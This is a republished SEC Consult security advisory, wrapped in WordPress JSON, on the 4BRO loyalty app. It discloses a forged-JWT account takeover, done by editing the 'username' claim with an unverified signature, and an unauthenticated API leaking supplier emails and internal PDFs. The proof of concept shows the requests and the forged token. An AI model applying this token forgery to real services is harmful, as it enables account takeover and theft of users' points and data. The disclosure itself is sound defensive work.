{"id":57043,"date":"2024-05-24T20:09:51","date_gmt":"2024-05-24T16:09:51","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178796\/SA-20240522-0.txt"},"modified":"2024-05-24T20:09:51","modified_gmt":"2024-05-24T16:09:51","slug":"4bro-insecure-direct-object-reference-api-information-exposure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/4bro-insecure-direct-object-reference-api-information-exposure\/","title":{"rendered":"4BRO Insecure Direct Object Reference \/ API Information Exposure"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240522-0 &gt;<br \/>=======================================================================<br \/>title: Broken access control &amp; API Information Exposure<br \/>product: 4BRO App<br \/>vulnerable version: before 2024-04-17<br \/>fixed version: 2024-04-17<br \/>CVE number: &#8211;<br \/>impact: Critical<br \/>homepage: https:\/\/www.4bro.de<br \/>found: 2023-05-07<br \/>by: Max Rull (Office Bochum)<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;4BRO is a German company known for producing iced tea beverages. The brand offers<br \/>a variety of flavors, including unique combinations such as peach, bubblegum,<br \/>and watermelon mint. 4BRO emphasizes modern and appealing packaging, targeting<br \/>a younger demographic. The company promotes its products through various platforms<br \/>and incentivizes customer loyalty with their app, which allows users to collect<br \/>points for rewards. The company&#8217;s headquarters is located in Germany, and their<br \/>products are widely available both online and in retail stores.&#8221;<\/p>\n<p>Source: https:\/\/www.4bro.de<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>The vendor has fixed the security issues in the API server as of 2024-04-17.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the product<br \/>conducted by security professionals to identify and resolve potential further<br \/>security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Broken access control via IDOR in 4BRO app API<br \/>An IDOR vulnerability (Insecure Direct Object Reference) allows an attacker<br \/>to change the username in the Bearer token used for authentication in the 4BRO app.<br \/>This leads to account takeover as a result of broken access control (poor Bearer<br \/>token verification). Attackers are able to access all data or Bro points (&#8220;broins&#8221;)<br \/>from other users.<\/p>\n<p>2) API Information Exposure<br \/>When opening the app as an unauthenticated user, the 4BRO app loads JSON data<br \/>from a publicly available API endpoint containing sensitive data like e-mail<br \/>addresses of employees, internal invoices, a CV including personal information,<br \/>a gift card etc.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Broken access control via IDOR in 4BRO app API<br \/>When logging in into the 4BRO app, the server returns a JWT (JSON Web Token).<br \/>The &#8220;login&#8221; HTTP request looks like this:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>POST \/api\/user\/signin HTTP\/2<br \/>Host: adminpanel.4bro.de<br \/>Content-Type: application\/json<br \/>[&#8230;]\n<p>{&#8220;email&#8221;:&#8221;&lt;login email&gt;&#8221;,&#8221;password&#8221;:&#8221;&lt;login password&gt;&#8221;}<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>The server responds with a JWT used for authentication and additional<br \/>account-related data:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>HTTP\/2 200 OK<br \/>Content-Type: application\/json; charset=utf-8<br \/>[&#8230;]\n<p>{<br \/>&#8220;token&#8221;: &#8220;&lt;JWT here&gt;&#8221;,<br \/>&#8220;userData&#8221;: {<br \/>&#8220;isBlocked&#8221;: false,<br \/>&#8220;_id&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;userType&#8221;: &#8220;USER&#8221;,<br \/>&#8220;email&#8221;: &#8220;&lt;login email&gt;&#8221;,<br \/>&#8220;broins&#8221;: 0,<br \/>&#8220;deviceId&#8221;: null,<br \/>&#8220;userCreationDate&#8221;: &#8220;2023-XX-XXTXX:XX:XX.XXXZ&#8221;,<br \/>&#8220;address&#8221;: [{<br \/>&#8220;_id&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;streetName&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;streetNumber&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;postalcode&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;city&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;firstName&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;lastName&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;country&#8221;: &#8220;at&#8221;<br \/>}<br \/>],<br \/>&#8220;ratings&#8221;: [],<br \/>&#8220;__v&#8221;: 0,<br \/>&#8220;pushToken&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;telekomUUID&#8221;: &#8220;[&#8230;]&#8221;<br \/>}<br \/>}<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>Because the JWT is only base64-encoded, it is easy to decode the JWT&#8217;s<br \/>header and payload as clear text using JWT decoders like https:\/\/token.dev\/:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>Header:<br \/>{<br \/>&#8220;kid&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;alg&#8221;: &#8220;RS256&#8221;<br \/>}<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>Payload:<br \/>{<br \/>&#8220;sub&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;event_id&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;token_use&#8221;: &#8220;access&#8221;,<br \/>&#8220;scope&#8221;: &#8220;aws.cognito.signin.user.admin&#8221;,<br \/>&#8220;auth_time&#8221;: 1683565567,<br \/>&#8220;iss&#8221;: &#8220;https:\/\/cognito-idp.eu-central-1.amazonaws.com\/[&#8230;]&#8221;,<br \/>&#8220;exp&#8221;: 1683569167,<br \/>&#8220;iat&#8221;: 1683565567,<br \/>&#8220;jti&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;client_id&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;username&#8221;: &#8220;&lt;login email&gt;&#8221;<br \/>}<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>The payload of the JWT contains multiple values indicating that AWS Cognito is in use.<br \/>By changing the &#8220;username&#8221; value of the JWT payload to a victim email, it is possible<br \/>to use the modified JWT for authenticating as the victim. The victim should already<br \/>have a normally registered account in the 4BRO app. By trial and error, it turns out<br \/>that even the following modified JWT payload gets accepted by the server:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>{<br \/>&#8220;sub&#8221;: &#8220;0&#8221;,<br \/>&#8220;event_id&#8221;: &#8220;0&#8221;,<br \/>&#8220;token_use&#8221;: &#8220;access&#8221;,<br \/>&#8220;scope&#8221;: &#8220;aws.cognito.signin.user.admin&#8221;,<br \/>&#8220;auth_time&#8221;: 0,<br \/>&#8220;iss&#8221;: &#8220;&#8221;,<br \/>&#8220;exp&#8221;: 0,<br \/>&#8220;iat&#8221;: 0,<br \/>&#8220;jti&#8221;: &#8220;0&#8221;,<br \/>&#8220;client_id&#8221;: &#8220;0&#8221;,<br \/>&#8220;username&#8221;: &#8220;&lt;login email&gt;&#8221;<br \/>}<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>Meanwhile, the &#8220;kid&#8221; property in the JWT header must be a valid value, but can belong<br \/>to any other already existing 4BRO app account. The JWT signature can be the same<br \/>and does not get verified at all.<\/p>\n<p>Using the modified JWT, all API methods supported by the 4BRO app can be executed.<br \/>Because the server only checks the &#8220;username&#8221; property in the JWT payload and does<br \/>slim to none JWT verification, the server thinks that the request came from the<br \/>account associated with the login email contained in the &#8220;username&#8221; property.<\/p>\n<p>This way, sensitive data such as the current &#8220;broin&#8221; balance, full user data as seen<br \/>in the login response, previous transactions, redeemed vouchers and goodies etc.<br \/>can be accessed without restrictions, using the 4BRO API. Also, the &#8220;sending broins&#8221;<br \/>action can be performed so that earned &#8220;broins&#8221; could be transferred to an attacker&#8217;s<br \/>account balance.<\/p>\n<p>2) API Information Exposure<br \/>By monitoring the 4BRO app&#8217;s requests over a proxy, it can be observed that<br \/>the following HTTP request is made when opening the &#8220;Goodies&#8221; section of the app:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>GET \/api\/goodies?pageSize=1000 HTTP\/2<br \/>Host: adminpanel.4bro.de<br \/>[&#8230;]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>The response is a JSON object containing all goodies that are or were at some point<br \/>available in the 4BRO app:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>HTTP\/2 200 OK<br \/>Content-Type: application\/json; charset=utf-8<br \/>Content-Length: 327138<br \/>[&#8230;]\n<p>{<br \/>&#8220;goodiesList&#8221;: [{<br \/>&#8220;_id&#8221;: &#8220;61950603005c650530b63aac&#8221;,<br \/>&#8220;name&#8221;: &#8220;1x 4BRO Getr\u00e4nk Imbiss&#8221;,<br \/>&#8220;longDescription&#8221;: &#8220;[&#8230;]&#8221;,<br \/>&#8220;shortDescription&#8221;: &#8220;Auf unseren Nacken!&#8221;,<br \/>&#8220;imagePath&#8221;:<br \/>&#8220;https:\/\/broappasset-prod.s3.eu-central-1.amazonaws.com\/dev\/goodies\/app_kachel_food_256x256.jpg&#8221;,<br \/>&#8220;category&#8221;: &#8220;Food&#8221;,<br \/>&#8220;quantity&#8221;: 999999999999808,<br \/>&#8220;costOfGoodie&#8221;: 250,<br \/>&#8220;supplier&#8221;: &#8220;&lt;email removed&gt;&#8221;,<br \/>&#8220;totalGoodies&#8221;: 999999999999861,<br \/>&#8220;goodieAvailableTime&#8221;: &#8220;Unlimited&#8221;,<br \/>&#8220;deliveryMethod&#8221;: &#8220;partnerCoupon&#8221;,<br \/>&#8220;isNewGoodie&#8221;: false,<br \/>&#8220;inhouseAppVoucherUrl&#8221;:<br \/>&#8220;https:\/\/broappasset-prod.s3.eu-central-1.amazonaws.com\/dev\/inhouseAppVouchers\/undefined&#8221;,<br \/>&#8220;__v&#8221;: 1,<br \/>&#8220;rating&#8221;: {<br \/>&#8220;value&#8221;: 3.991869918699184,<br \/>&#8220;total&#8221;: 123<br \/>},<br \/>&#8220;forceGoodie&#8221;: &#8220;true&#8221;,<br \/>&#8220;goodieAvailableEndTime&#8221;: null,<br \/>&#8220;goodieAvailableStartTime&#8221;: null,<br \/>&#8220;restriction&#8221;: [],<br \/>&#8220;hidden&#8221;: false,<br \/>&#8220;slashedCostOfGoodie&#8221;: null<br \/>},{<br \/>[&#8230;]},<br \/>[&#8230;]}<br \/>],<br \/>&#8220;goodieCount&#8221;: 371<br \/>}<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>This JSON object contains already sensitive data such as the goodie supplier&#8217;s email<br \/>addresses. Out of the 371 goodies, 36 of those have a URL to a PDF file contained<br \/>within the &#8220;inhouseAppVoucherUrl&#8221; property. Because these files are hosted on an<br \/>AWS S3 bucket, everyone can access these documents without authentication.<\/p>\n<p>These documents seem to contain various sensitive company internal and personal<br \/>information.<\/p>\n<p>While discovering vulnerability 1), we found that old gift codes were also stored as<br \/>PDF files on the AWS S3 bucket. The names of the gift code PDF files indicate that<br \/>there may be more similarly named documents (IDOR) which could be detected in an<br \/>automated way. This could be leveraged to find additional gift code PDF files stored<br \/>on the AWS S3 bucket.<\/p>\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following app version has been tested and downloaded through Google Play store,<br \/>which was the most recent version available at the time of the test:<br \/>* 3.14.7<\/p>\n<p>Because the vulnerability is actually server-side within the API, the iOS app was<br \/>also affected at the time the vulnerabilities were discovered.<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2023-06-12: Contacting vendor through broservice@4bro.de (owner) and info@dev5310.com<br \/>(developers according to Google Play store)<br \/>2023-06-15: Vendor asks about the risks of the identified vulnerabilities and which<br \/>parts of the application are affected and whether any costs would arise<br \/>before they provide us with a security contact.<br \/>2023-06-16: Detailed answer regarding risk estimation, responsible disclosure and<br \/>that no costs are involved.<br \/>2023-06-19: Vendor requests a phone conference, scheduled for 21st June.<br \/>2023-06-21: Clarifying responsible disclosure, explaining vulnerabilities and next<br \/>steps in phone call. Providing security advisory to vendor.<br \/>2023-06-29: Vendor has sent the advisory to the developer team for evaluation<br \/>and will notify SEC Consult about the release of the security patch.<br \/>2023-08-18: Asking for a status update.<br \/>2023-08-31: It is planned to release an Android\/iOS app update end of September<br \/>2023-09-18: Vendor needs to postpone update, no new date available.<br \/>2023-11-08: Asking for a status update; no response.<br \/>2023-11-21: Asking for a status update.<br \/>2023-12-11: Vendor response, fix is available in test environment, production<br \/>will be fixed by end of this year.<br \/>2024-01-24: Asking for a status update; no response.<br \/>2024-02-12: Asking for a status update.<br \/>2024-02-12: Vendor is still waiting for a response from their IT.<br \/>2024-04-17: Asking for a status update.<br \/>2024-04-17: Vendor states that the vulnerabilities have been fixed.<br \/>2024-04-17: Asking for the fix date, whether an app update was needed for applying<br \/>the fix, and the fixed app version. No response.<br \/>2024-05-13: Asking vendor again about fixed version, etc., setting preliminary release<br \/>date to 2024-05-21. No response.<br \/>2024-05-22: Release of security advisory<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>The vendor implemented a fix in the affected API server as of 2024-04-17.<br \/>An app update on Android or iOS is not required to apply the fix.<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>None<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF M. Rull \/ @2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240522-0 &gt;=======================================================================title: Broken access control &amp; API Information Exposureproduct: 4BRO Appvulnerable version: before 2024-04-17fixed version: 2024-04-17CVE number: &#8211;impact: Criticalhomepage: https:\/\/www.4bro.defound: 2023-05-07by: Max Rull (Office Bochum)SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden businessEurope | Asia https:\/\/www.sec-consult.com ======================================================================= Vendor description:&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;4BRO is a German company known &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57043","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57043","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57043"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57043\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57043"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57043"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57043"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}